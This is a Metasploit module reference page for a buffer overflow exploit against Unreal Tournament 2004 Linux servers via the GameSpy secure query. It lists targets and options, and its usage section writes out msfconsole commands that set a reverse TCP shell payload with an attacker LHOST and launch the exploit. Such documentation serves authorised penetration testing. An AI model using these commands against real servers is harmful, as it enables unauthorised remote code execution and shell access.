Browse Exploit & Auxiliary Modules

The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.

Search for modules

Open Source Vulnerability DataBase ID
Bugtraq ID
Full Text Search
Common Vulnerabilities Exposures ID
Microsoft Security Bulletin ID
 
Search Modules

Unreal Tournament 2004 "secure" Overflow (Linux)

This is an exploit for the GameSpy secure query in the Unreal Engine. This exploit only requires one UDP packet, which can be both spoofed and sent to a broadcast address. Usually, the GameSpy query server listens on port 7787, but you can manually specify the port as well. The RunServer.sh script will automatically restart the server upon a crash, giving us the ability to bruteforce the service and exploit it multiple times.


Rank

  • Good

Authors

  • onetwo < >

References


Exploit Targets

  • 0 - UT2004 Linux Build 3120
  • 1 - UT2004 Linux Build 3186

Development


Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/linux/games/ut2004_secure
msf exploit(ut2004_secure) > show payloads
msf exploit(ut2004_secure) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ut2004_secure) > set LHOST [MY IP ADDRESS]
msf exploit(ut2004_secure) > set RHOST [TARGET IP]
msf exploit(ut2004_secure) > show targets
msf exploit(ut2004_secure) > set TARGET [TARGET ID]
msf exploit(ut2004_secure) > exploit


Module Options

RHOST The target address
RPORT The target port (default: 7787)
CHOST The local client address
CPORT The local client port
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session